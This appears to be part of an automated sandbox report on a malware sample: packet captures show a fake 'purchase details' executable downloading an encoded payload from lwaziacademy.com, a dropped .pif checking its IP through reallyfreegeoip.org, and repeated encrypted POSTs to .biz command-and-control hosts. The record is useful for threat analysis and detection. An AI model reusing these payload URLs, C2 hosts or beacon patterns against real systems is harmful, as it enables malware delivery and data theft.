Dec 10, 2024 07:05:56.508833885 CET	778	OUT	Data Raw: 49 5b 36 23 d3 89 82 f7 fe 02 00 00 1f 97 a1 a0 0c d3 42 4e 14 65 e8 84 8f 9a 85 c3 e2 db 96 22 ca 22 a8 b5 1e ef 7b f8 41 7d fb c5 45 05 f3 89 ed 6e d5 72 5d e5 60 bb 98 b1 ce 09 7b 2a 5e 37 64 8c d0 41 cf bc b3 1b 61 67 fb da dc 61 eb 61 a1 45 Data Ascii: I[6#BNe""{A}Enr]`{*^7dAagaaEDFFxF[U<'fmdI/b?&3-E.65v=j5Sh\|>tn(Q$wu)0v8dmiz?vJ'{m
Dec 10, 2024 07:05:58.552304983 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e1acb035a8db29c618f735807b3e4bad\|8.46.123.228\|1733810758\|1733810758\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49733	82.112.184.197	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:58.465235949 CET	353	OUT	POST /ahrvaxreoca HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:05:58.465343952 CET	802	OUT	Data Raw: 7a bb a6 cb e0 89 82 a7 16 03 00 00 d7 d3 9b a8 69 f7 22 db d1 75 5f 4b 46 58 65 0a 35 f5 e9 2e 29 8b 48 2b cf 15 8e d3 7b 09 d2 3a 6c 15 31 0f 7d 9f e1 4c c0 f5 ca 65 0a 7a 2d ca 24 bf 4d 64 3e 67 10 82 f9 ac 01 a3 67 8b 60 ec 29 e6 2e 45 69 fd Data Ascii: zi"u_KFXe5.)H+{:l1}Lez-$Md>gg`).Ei56)5o,F^N{"b{-hxT4=#j\hRGH]R=SMDG5R6,e3j\74Jpj3a^"PvTJ1)>L};,q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49734	82.112.184.197	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:59.216613054 CET	353	OUT	POST /tjgeolaydho HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:05:59.216656923 CET	778	OUT	Data Raw: 0f d1 1a c3 aa 03 be 69 fe 02 00 00 bd 5c 0a 40 d7 2c 3c c8 89 9a 2a 98 92 c5 e4 d4 00 c5 fd b2 af 7b 5d 8b 72 67 2b 51 ae 7d 59 4c be 2f c5 1c 79 b0 1a 62 ff ea ad 43 41 cf d3 f7 f2 0a 26 4d 9d 1b 56 a2 84 57 b8 bb 79 d7 c0 6b e0 e0 06 30 84 eb Data Ascii: i\@,<*{]rg+Q}YL/ybCA&MVWyk0WN}+aYe7,pU}7EU;AR)gHI#f36vHsi-ky^!OH_}]R~0K>c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49736	82.112.184.197	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:06:20.516671896 CET	350	OUT	POST /bwbcqohd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:06:20.516706944 CET	802	OUT	Data Raw: e7 09 5d a6 ad e4 90 05 16 03 00 00 9d ea bb da d1 db 32 de 2c bd a9 39 ed be 70 84 01 dd 84 5e bd ba 08 4c 78 28 e1 11 cc c2 d0 47 f7 2d e5 89 e5 7f 98 a9 ae a1 3b 47 6c ce 24 18 88 45 e0 9b e8 8b c9 97 5d df 87 85 b4 03 2a 8a b0 c8 74 52 7d df Data Ascii: ]2,9p^Lx(G-;Gl$E]tR}s:k?1K\ B<`+8w1Lus0#wV0zlIKh]7RKs&WAhR+oQmDpTzZOB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49737	82.112.184.197	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:06:21.615621090 CET	358	OUT	POST /pfoxkxwneqnmhcsc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:06:21.615957975 CET	778	OUT	Data Raw: e0 4a cc b2 ac e8 28 40 fe 02 00 00 a2 d7 ed 4c 1b 2c ff 05 52 da 52 3e 6b d3 ec 01 9f 4c 62 01 37 2a 63 c5 b2 92 1a f5 9e 93 d6 98 7a ba 5e 14 a2 6e 5b b1 56 d6 72 e9 22 fd 6d 75 16 7f 3e 3f 09 a5 a7 a8 d2 d3 a3 8c 53 23 52 38 56 b0 1b 98 90 47 Data Ascii: J(@L,RR>kLb7*cz^n[Vr"mu>?S#R8VGlMhW-1\|l{%DD:Z,c(v(U.acY~\|rF&TnkP^3Bku!Dh).$qz7R[1!H/bYTaN~5e(5u-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49741	82.112.184.197	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:06:44.091917992 CET	358	OUT	POST /goescaydbiatn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:06:44.091957092 CET	802	OUT	Data Raw: 7f da 05 be 1a df b0 cf 16 03 00 00 dd 56 00 fb 70 60 da 0e b8 a9 18 70 05 92 da ee b8 96 0b fb 5f 09 30 70 24 9d 84 86 d5 26 91 8f 6c 44 e5 9a 36 83 70 c4 76 ec e8 83 48 fb 22 16 a6 c5 36 5a 46 84 35 e8 95 34 4c 18 c1 c7 0e 61 ef df ca 46 c6 54 Data Ascii: Vp`p_0p$&lD6pvH"6ZF54LaFTjEVH<z]60BTq{'>jCJ>/%4kFAVSD$_1E\|%1@W,C@F,IE[O0lk[Vg S;QP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49742	82.112.184.197	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:06:44.471502066 CET	351	OUT	POST /ewvwgr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:06:44.471527100 CET	778	OUT	Data Raw: da 70 eb 34 db 50 e0 d8 fe 02 00 00 27 66 57 f4 32 7e 18 d5 7c 0e c5 67 d0 ca 04 5b 04 d8 fd f9 10 9c 2d 9e cf 3f 27 74 a0 aa 8a 1d 73 05 ec 9d 66 5d d4 62 61 07 16 91 42 98 03 0b 5c b8 73 f7 3a 5a 79 e2 3f d7 3d 87 c0 2e a9 6a 8e 89 dd 56 5f ce Data Ascii: p4P'fW2~\|g[-?'tsf]baB\s:Zy?=.jV_\|g6,5qrC;xf7Vl0n{l\|oI0l78+TnBx5m!M4/$%j.[@.Sqe4'#KtO!G!ta:p5%Rsu\|i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49743	82.112.184.197	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:07:06.178466082 CET	358	OUT	POST /ovwmjligotchf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:07:06.178495884 CET	802	OUT	Data Raw: 1c 59 f7 4c 30 8a 61 5c 16 03 00 00 8a 8b 03 53 62 ef 8b f1 6c 27 95 e5 49 c2 bc 3b 99 bd 75 7d da dd a1 bf 7a 2d 35 bc 83 48 59 6f f8 75 28 17 98 47 c3 a9 8d 58 6e 3c f7 e7 ce de 9a a6 16 a8 d0 97 f0 4f c3 48 1f 96 25 30 8b 5c 1c eb 20 e2 8d 7c Data Ascii: YL0a\Sbl'I;u}z-5HYou(GXn<OH%0\ \|eH{LQ9w6\xypW[644l6B&I'_Q#iO]nf_5>D+g?w8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49744	82.112.184.197	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:07:06.578418016 CET	350	OUT	POST /eooel HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:07:06.578449965 CET	778	OUT	Data Raw: e4 11 2a ef a4 ee 84 59 fe 02 00 00 25 c2 be 0a a2 16 f3 9f 64 67 bd 13 d3 9e 40 9d 80 09 e2 0a 45 f3 58 53 a3 ca a8 ef 01 f6 b3 99 d7 e4 07 7a a9 ff 4d dd f2 eb 67 84 dc e9 d8 3d d9 fd 3f a2 ba cb f7 ea 89 79 1f d3 f0 0b f3 c1 71 ca 5f 1d 70 8d Data Ascii: *Y%dg@EXSzMg=?yq_p7C.y>(B$Vl1Pcs31$R[[+0(K\|G.Z?\|W?.'TF1ym"CFgq~r Wb3jhw0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	41.185.8.252	443	7608	C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:05:23 UTC	171	OUT	GET /royal/233_Sdvvfamydeo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: lwaziacademy.com
2024-12-10 06:05:24 UTC	183	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:24 GMT Content-Length: 2192512 Connection: close Last-Modified: Sat, 07 Dec 2024 07:53:23 GMT Accept-Ranges: bytes
2024-12-10 06:05:24 UTC	8008	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 55 45 79 55 64 4a 68 55 52 45 68 67 64 48 42 51 6d 49 69 49 55 45 53 63 69 48 52 34 4f 46 79 51 53 4a 42 51 51 49 68 4d 6c 49 78 45 5a 4a 69 4d 69 4a 43 45 58 47 42 6f 67 47 78 49 55 48 52 6f 6d 44 68 51 63 46 52 77 59 45 42 73 63 46 69 49 64 48 53 63 59 46 53 51 59 49 78 41 53 48 42 4d 66 46 68 59 53 45 43 59 6d 47 68 77 66 4a 52 55 55 49 53 49 66 49 42 38 6d 44 67 38 66 46 52 63 63 4a 52 6f 6e 47 52 30 52 4a 78 6f 62 48 43 49 6b 45 69 59 55 70 71 36 6c 57 53 4f 6e 73 55 73 41 45 53 4d 6a 45 77 34 61 4a 68 45 53 48 4b 61 75 70 56 6b 6a 70 37 46 4c 70 36 61 77 75 4c 47 67 70 4b 57 6a 75 4a 2b 6e 73 62 57 31 70 36 53 79 74 62 69 35 71 61 4b 33 70 62 65 6e 71 37 57 6d 73 4c 61 6b 6e 4c 47 32 74 62 65 30 6f 71 4f 64 75 35 36 Data Ascii: pq6lWSOnsUsUEyUdJhUREhgdHBQmIiIUESciHR4OFyQSJBQQIhMlIxEZJiMiJCEXGBogGxIUHRomDhQcFRwYEBscFiIdHScYFSQYIxASHBMfFhYSECYmGhwfJRUUISIfIB8mDg8fFRccJRonGR0RJxobHCIkEiYUpq6lWSOnsUsAESMjEw4aJhESHKaupVkjp7FLp6awuLGgpKWjuJ+nsbW1p6Sytbi5qaK3pbenq7WmsLaknLG2tbe0oqOdu56
2024-12-10 06:05:24 UTC	16384	IN	Data Raw: 74 72 57 33 74 4b 4b 6a 6e 62 75 65 70 61 65 34 6e 62 47 70 70 35 2b 67 6e 36 4f 72 6e 70 2b 68 74 62 69 34 73 71 4f 67 74 36 4f 32 71 36 57 66 70 72 71 68 6f 61 57 72 73 62 47 64 6e 37 71 77 6f 4b 65 30 74 62 71 37 75 72 47 70 71 72 71 67 6f 70 2b 77 6e 62 4b 63 75 4b 53 79 6e 5a 36 66 74 62 65 6c 73 61 65 6e 70 72 43 34 73 61 43 6b 70 61 4f 34 6e 36 65 78 74 62 57 6e 70 4c 4b 31 75 4c 6d 70 6f 72 65 6c 74 36 65 72 74 61 61 77 74 71 53 63 73 62 61 31 74 37 53 69 6f 35 32 37 6e 71 57 6e 75 4a 32 78 71 61 65 66 6f 4a 2b 6a 71 35 36 66 6f 62 57 34 75 4c 4b 6a 6f 4c 65 6a 74 71 75 6c 6e 36 61 36 6f 61 47 6c 71 37 47 78 6e 5a 2b 36 73 4b 43 6e 74 4c 57 36 75 37 71 78 71 61 71 36 6f 4b 4b 66 73 4a 32 79 6e 4c 69 6b 73 70 32 65 6e 37 57 33 70 62 47 6e 70 36 61 Data Ascii: trW3tKKjnbuepae4nbGpp5+gn6Ornp+htbi4sqOgt6O2q6WfprqhoaWrsbGdn7qwoKe0tbq7urGpqrqgop+wnbKcuKSynZ6ftbelsaenprC4saCkpaO4n6extbWnpLK1uLmporelt6ertaawtqScsba1t7Sio527nqWnuJ2xqaefoJ+jq56fobW4uLKjoLejtquln6a6oaGlq7GxnZ+6sKCntLW6u7qxqaq6oKKfsJ2ynLiksp2en7W3pbGnp6a
2024-12-10 06:05:24 UTC	15616	IN	Data Raw: 75 4c 47 67 70 4b 57 6a 75 4a 2b 6e 73 62 57 31 70 36 53 79 74 62 69 35 71 61 4b 33 70 62 65 6e 71 37 57 6d 73 4c 61 6b 6e 4c 47 32 74 62 65 30 6f 71 4f 64 75 35 36 6c 70 37 69 64 73 61 6d 6e 6e 36 43 66 6f 36 75 65 6e 36 47 31 75 4c 69 79 6f 36 43 33 6f 37 61 72 70 5a 2b 6d 75 71 47 68 70 61 75 78 73 5a 32 66 75 72 43 67 70 37 53 31 75 72 75 36 73 61 6d 71 75 71 43 69 6e 37 43 64 73 70 79 34 70 4c 4b 64 6e 70 2b 31 74 36 57 78 70 36 65 6d 73 4c 69 78 6f 4b 53 6c 6f 37 69 66 70 37 47 31 74 61 65 6b 73 72 57 34 75 61 6d 69 74 36 57 33 70 36 75 31 70 72 43 32 70 4a 79 78 74 72 57 33 74 4b 4b 6a 6e 62 75 65 70 61 65 34 6e 62 47 70 70 35 2b 67 6e 36 4f 72 6e 70 2b 68 74 62 69 34 73 71 4f 67 74 36 4f 32 71 36 57 66 70 72 71 68 6f 61 57 72 73 62 47 64 6e 37 71 Data Ascii: uLGgpKWjuJ+nsbW1p6Sytbi5qaK3pbenq7WmsLaknLG2tbe0oqOdu56lp7idsamnn6Cfo6uen6G1uLiyo6C3o7arpZ+muqGhpauxsZ2furCgp7S1uru6samquqCin7Cdspy4pLKdnp+1t6Wxp6emsLixoKSlo7ifp7G1taeksrW4uamit6W3p6u1prC2pJyxtrW3tKKjnbuepae4nbGpp5+gn6Ornp+htbi4sqOgt6O2q6WfprqhoaWrsbGdn7q
2024-12-10 06:05:24 UTC	16384	IN	Data Raw: 74 71 75 6c 6e 36 61 36 6f 61 47 6c 71 37 47 78 6e 5a 2b 36 73 4b 43 6e 74 4c 57 36 75 37 71 78 71 61 71 36 6f 4b 4b 66 73 4a 32 79 6e 4c 69 6b 73 70 32 65 6e 37 57 33 70 62 47 6e 70 36 61 77 75 4c 47 67 70 4b 57 6a 75 4a 2b 6e 73 62 57 31 70 36 53 79 74 62 69 35 71 61 4b 33 70 62 65 6e 71 37 57 6d 73 4c 61 6b 6e 4c 47 32 74 62 65 30 6f 71 4f 64 75 35 36 6c 70 37 69 64 73 61 6d 6e 6e 36 43 66 6f 36 75 65 6e 36 47 31 75 4c 69 79 6f 36 43 33 6f 37 61 72 70 5a 2b 6d 75 71 47 68 70 61 75 78 73 5a 32 66 75 72 43 67 70 37 53 31 75 72 75 36 73 61 6d 71 75 71 43 69 6e 37 43 64 73 70 79 34 70 4c 4b 64 6e 70 2b 31 74 36 57 78 70 36 65 6d 73 4c 69 78 6f 4b 53 6c 6f 37 69 66 70 37 47 31 74 61 65 6b 73 72 57 34 75 61 6d 69 74 36 57 33 70 36 75 31 70 72 43 32 70 4a 79 Data Ascii: tquln6a6oaGlq7GxnZ+6sKCntLW6u7qxqaq6oKKfsJ2ynLiksp2en7W3pbGnp6awuLGgpKWjuJ+nsbW1p6Sytbi5qaK3pbenq7WmsLaknLG2tbe0oqOdu56lp7idsamnn6Cfo6uen6G1uLiyo6C3o7arpZ+muqGhpauxsZ2furCgp7S1uru6samquqCin7Cdspy4pLKdnp+1t6Wxp6emsLixoKSlo7ifp7G1taeksrW4uamit6W3p6u1prC2pJy
2024-12-10 06:05:24 UTC	15616	IN	Data Raw: 74 72 57 33 74 4b 4b 6a 6e 62 75 65 70 61 65 34 6e 62 47 70 70 35 2b 67 6e 36 4f 72 6e 70 2b 68 74 62 69 34 73 71 4f 67 74 36 4f 32 71 36 57 66 70 72 71 68 6f 61 57 72 73 62 47 64 6e 37 71 77 6f 4b 65 30 74 62 71 37 75 72 47 70 71 72 71 67 6f 70 2b 77 6e 62 4b 63 75 4b 53 79 6e 5a 36 66 74 62 65 6c 73 61 65 6e 70 72 43 34 73 61 43 6b 70 61 4f 34 6e 36 65 78 74 62 57 6e 70 4c 4b 31 75 4c 6d 70 6f 72 65 6c 74 36 65 72 74 61 61 77 74 71 53 63 73 62 61 31 74 37 53 69 6f 35 32 37 6e 71 57 6e 75 4a 32 78 71 61 65 66 6f 4a 2b 6a 71 35 36 66 6f 62 57 34 75 4c 4b 6a 6f 4c 65 6a 74 71 75 6c 6e 36 61 36 6f 61 47 6c 71 37 47 78 6e 5a 2b 36 73 4b 43 6e 74 4c 57 36 75 37 71 78 71 61 71 36 6f 4b 4b 66 73 4a 32 79 6e 4c 69 6b 73 70 32 65 6e 37 57 33 70 62 47 6e 70 36 61 Data Ascii: trW3tKKjnbuepae4nbGpp5+gn6Ornp+htbi4sqOgt6O2q6WfprqhoaWrsbGdn7qwoKe0tbq7urGpqrqgop+wnbKcuKSynZ6ftbelsaenprC4saCkpaO4n6extbWnpLK1uLmporelt6ertaawtqScsba1t7Sio527nqWnuJ2xqaefoJ+jq56fobW4uLKjoLejtquln6a6oaGlq7GxnZ+6sKCntLW6u7qxqaq6oKKfsJ2ynLiksp2en7W3pbGnp6a
2024-12-10 06:05:24 UTC	16000	IN	Data Raw: 73 70 79 34 70 4c 4b 64 6e 70 2b 31 74 36 57 78 70 36 65 6d 73 4c 69 78 6f 4b 53 6c 6f 37 69 66 70 37 47 31 74 61 65 6b 73 72 57 34 75 61 6d 69 74 36 57 33 70 36 75 31 70 72 43 32 70 4a 79 78 74 72 57 33 74 4b 4b 6a 6e 62 75 65 70 61 65 34 6e 62 47 70 70 35 2b 67 6e 36 4f 72 6e 70 2b 68 74 62 69 34 73 71 4f 67 74 36 4f 32 71 36 57 66 70 72 71 68 6f 61 57 72 73 62 47 64 6e 37 71 77 6f 4b 65 30 74 62 71 37 75 72 47 70 71 72 71 67 6f 70 2b 77 6e 62 4b 63 75 4b 53 79 6e 5a 36 66 74 62 65 6c 73 61 65 6e 70 72 43 34 73 61 43 6b 70 61 4f 34 6e 36 65 78 74 62 57 6e 70 4c 4b 31 75 4c 6d 70 6f 72 65 6c 74 36 65 72 74 61 61 77 74 71 53 63 73 62 61 31 74 37 53 69 6f 35 32 37 6e 71 57 6e 75 4a 32 78 71 61 65 66 6f 4a 2b 6a 71 35 36 66 6f 62 57 34 75 4c 4b 6a 6f 4c 65 Data Ascii: spy4pLKdnp+1t6Wxp6emsLixoKSlo7ifp7G1taeksrW4uamit6W3p6u1prC2pJyxtrW3tKKjnbuepae4nbGpp5+gn6Ornp+htbi4sqOgt6O2q6WfprqhoaWrsbGdn7qwoKe0tbq7urGpqrqgop+wnbKcuKSynZ6ftbelsaenprC4saCkpaO4n6extbWnpLK1uLmporelt6ertaawtqScsba1t7Sio527nqWnuJ2xqaefoJ+jq56fobW4uLKjoLe
2024-12-10 06:05:24 UTC	16000	IN	Data Raw: 75 4c 47 67 70 4b 57 6a 75 4a 2b 6e 73 62 57 31 70 36 53 79 74 62 69 35 71 61 4b 33 70 62 65 6e 71 37 57 6d 73 4c 61 6b 6e 4c 47 32 74 62 65 30 6f 71 4f 64 75 35 36 6c 70 37 69 64 73 61 6d 6e 6e 36 43 66 6f 36 75 65 6e 36 47 31 75 4c 69 79 6f 36 43 33 6f 37 61 72 70 5a 2b 6d 75 71 47 68 70 61 75 78 73 5a 32 66 75 72 43 67 70 37 53 31 75 72 75 36 73 61 6d 71 75 71 43 69 6e 37 43 64 73 70 79 34 70 4c 4b 64 6e 70 2b 31 74 36 57 78 70 36 65 6d 73 4c 69 78 6f 4b 53 6c 6f 37 69 66 70 37 47 31 74 61 65 6b 73 72 57 34 75 61 6d 69 74 36 57 33 70 36 75 31 70 72 43 32 70 4a 79 78 74 72 57 33 74 4b 4b 6a 6e 62 75 65 70 61 65 34 6e 62 47 70 70 35 2b 67 6e 36 4f 72 6e 70 2b 68 74 62 69 34 73 71 4f 67 74 36 4f 32 71 36 57 66 70 72 71 68 6f 61 57 72 73 62 47 64 6e 37 71 Data Ascii: uLGgpKWjuJ+nsbW1p6Sytbi5qaK3pbenq7WmsLaknLG2tbe0oqOdu56lp7idsamnn6Cfo6uen6G1uLiyo6C3o7arpZ+muqGhpauxsZ2furCgp7S1uru6samquqCin7Cdspy4pLKdnp+1t6Wxp6emsLixoKSlo7ifp7G1taeksrW4uamit6W3p6u1prC2pJyxtrW3tKKjnbuepae4nbGpp5+gn6Ornp+htbi4sqOgt6O2q6WfprqhoaWrsbGdn7q
2024-12-10 06:05:24 UTC	16384	IN	Data Raw: 75 4c 6d 70 6f 72 65 6c 74 36 65 72 74 61 61 77 74 71 53 63 73 62 61 31 74 37 53 69 6f 35 32 37 6e 71 57 6e 75 4a 32 78 71 61 65 66 6f 4a 2b 6a 71 35 36 66 6f 62 57 34 75 4c 4b 6a 6f 4c 65 6a 74 71 75 6c 6e 36 61 36 6f 61 47 6c 71 37 47 78 6e 5a 2b 36 73 4b 43 6e 74 4c 57 36 75 37 71 78 71 61 71 36 6f 4b 4b 66 73 4a 32 79 6e 4c 69 6b 73 70 32 65 6e 37 57 33 70 62 47 6e 70 36 61 77 75 4c 47 67 70 4b 57 6a 75 4a 2b 6e 73 62 57 31 70 36 53 79 74 62 69 35 71 61 4b 33 70 62 65 6e 71 37 57 6d 73 4c 61 6b 6e 4c 47 32 74 62 65 30 6f 71 4f 64 75 35 36 6c 70 37 69 64 73 61 6d 6e 6e 36 43 66 6f 36 75 65 6e 36 47 31 75 4c 69 79 6f 36 43 33 6f 37 61 72 70 5a 2b 6d 75 71 47 68 70 61 75 78 73 5a 32 66 75 72 43 67 70 37 53 31 75 72 75 36 73 61 6d 71 75 71 43 69 6e 37 43 Data Ascii: uLmporelt6ertaawtqScsba1t7Sio527nqWnuJ2xqaefoJ+jq56fobW4uLKjoLejtquln6a6oaGlq7GxnZ+6sKCntLW6u7qxqaq6oKKfsJ2ynLiksp2en7W3pbGnp6awuLGgpKWjuJ+nsbW1p6Sytbi5qaK3pbenq7WmsLaknLG2tbe0oqOdu56lp7idsamnn6Cfo6uen6G1uLiyo6C3o7arpZ+muqGhpauxsZ2furCgp7S1uru6samquqCin7C
2024-12-10 06:05:25 UTC	16384	IN	Data Raw: 73 70 79 34 70 4c 4b 64 6e 70 2b 31 74 36 57 78 70 36 65 6d 73 4c 69 78 6f 4b 53 6c 6f 37 69 66 70 37 47 31 74 61 65 6b 73 72 57 34 75 61 6d 69 74 36 57 33 70 36 75 31 70 72 43 32 70 4a 79 78 74 72 57 33 74 4b 4b 6a 6e 62 75 65 70 61 65 34 6e 62 47 70 70 35 2b 67 6e 36 4f 72 6e 70 2b 68 74 62 69 34 73 71 4f 67 74 36 4f 32 71 36 57 66 70 72 71 68 6f 61 57 72 73 62 47 64 6e 37 71 77 6f 4b 65 30 74 62 71 37 75 72 47 70 71 72 71 67 6f 70 2b 77 6e 62 4b 63 75 4b 53 79 6e 5a 36 66 74 62 65 6c 73 61 65 6e 70 72 43 34 73 61 43 6b 70 61 4f 34 6e 36 65 78 74 62 57 6e 70 4c 4b 31 75 4c 6d 70 6f 72 65 6c 74 36 65 72 74 61 61 77 74 71 53 63 73 62 61 31 74 37 53 69 6f 35 32 37 6e 71 57 6e 75 4a 32 78 71 61 65 66 6f 4a 2b 6a 71 35 36 66 6f 62 57 34 75 4c 4b 6a 6f 4c 65 Data Ascii: spy4pLKdnp+1t6Wxp6emsLixoKSlo7ifp7G1taeksrW4uamit6W3p6u1prC2pJyxtrW3tKKjnbuepae4nbGpp5+gn6Ornp+htbi4sqOgt6O2q6WfprqhoaWrsbGdn7qwoKe0tbq7urGpqrqgop+wnbKcuKSynZ6ftbelsaenprC4saCkpaO4n6extbWnpLK1uLmporelt6ertaawtqScsba1t7Sio527nqWnuJ2xqaefoJ+jq56fobW4uLKjoLe
2024-12-10 06:05:25 UTC	16384	IN	Data Raw: 74 71 75 6c 6e 36 61 36 6f 61 47 6c 71 37 47 78 6e 5a 2b 36 73 4b 43 6e 74 4c 57 36 75 37 71 78 71 61 71 36 6f 4b 4b 66 73 4a 32 79 6e 4c 69 6b 73 70 32 65 6e 37 57 33 70 62 47 6e 70 36 61 77 75 4c 47 67 70 4b 57 6a 75 4a 2b 6e 73 62 57 31 70 36 53 79 74 62 69 35 71 61 4b 33 70 62 65 6e 71 37 57 6d 73 4c 61 6b 6e 4c 47 32 74 62 65 30 6f 71 4f 64 75 35 36 6c 70 37 69 64 73 61 6d 6e 6e 36 43 66 6f 36 75 65 6e 36 47 31 75 4c 69 79 6f 36 43 33 6f 37 61 72 70 5a 2b 6d 75 71 47 68 70 61 75 78 73 5a 32 66 75 72 43 67 70 37 53 31 75 72 75 36 73 61 6d 71 75 71 43 69 6e 37 43 64 73 70 79 34 70 4c 4b 64 6e 70 2b 31 74 36 57 78 70 36 65 6d 73 4c 69 78 6f 4b 53 6c 6f 37 69 66 70 37 47 31 74 61 65 6b 73 72 57 34 75 61 6d 69 74 36 57 33 70 36 75 31 70 72 43 32 70 4a 79 Data Ascii: tquln6a6oaGlq7GxnZ+6sKCntLW6u7qxqaq6oKKfsJ2ynLiksp2en7W3pbGnp6awuLGgpKWjuJ+nsbW1p6Sytbi5qaK3pbenq7WmsLaknLG2tbe0oqOdu56lp7idsamnn6Cfo6uen6G1uLiyo6C3o7arpZ+muqGhpauxsZ2furCgp7S1uru6samquqCin7Cdspy4pLKdnp+1t6Wxp6emsLixoKSlo7ifp7G1taeksrW4uamit6W3p6u1prC2pJy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49712	104.21.67.152	443	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:05:38 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
